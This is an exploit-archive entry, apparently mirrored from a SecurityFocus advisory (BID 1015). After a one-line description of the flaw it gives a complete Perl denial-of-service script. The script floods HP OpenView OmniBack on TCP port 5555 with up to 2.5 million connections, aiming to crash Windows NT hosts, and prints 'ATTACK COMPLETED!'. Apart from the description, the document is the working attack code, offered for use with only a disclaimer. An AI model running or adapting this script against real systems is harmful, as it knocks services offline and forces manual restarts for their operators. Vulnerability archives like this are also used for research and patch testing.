34 lines
No EOL
1.1 KiB
Perl
Executable file
34 lines
No EOL
1.1 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/1015/info
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Multiple open connections to port 5555 can cause the HP OpenView OmniBack program to crash by consuming 100% CPU cycles. Closing the connections will not alleviate this problem, therefore a manual restart would be required.
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#!/usr/bin/perl
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#
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# Jon Hittner
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# Raise the memory size for omnilnet until Windows NT crashes
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# Test against NT4.0 SP5 , NT3.51 , Winframe 1.7 SP5b , Winframe 1.8
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# Probably needs to be run several times to crash the system depending
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# on the amount of memory in the system.
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# This code was written to demo a problem, and I take no respoablity on how
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# it's used
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use strict; use Socket;
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my($y,$h,$p,$in_addr,$proto,$addr);
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$h = "$ARGV[0]"; $p = 5555 if (!$ARGV[1]);
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if (!$h) { print "A hostname must be provided. Ex: www.domain.com\n"; }
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$in_addr = (gethostbyname($h))[4]; $addr = sockaddr_in($p,$in_addr);
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$proto = getprotobyname('tcp');
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print "TESTING: $h:$p\n";
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for ($y=1 ; $y<2500000 ; $y++) {
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socket(S, AF_INET, SOCK_STREAM, $proto);
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connect(S,$addr) or next;
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select S;
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$| = 1;
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select STDOUT;
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send S,"OMNIBACK HAS SOME BIG ISSUES",0;
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}
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print "ATTACK COMPLETED!\n"; |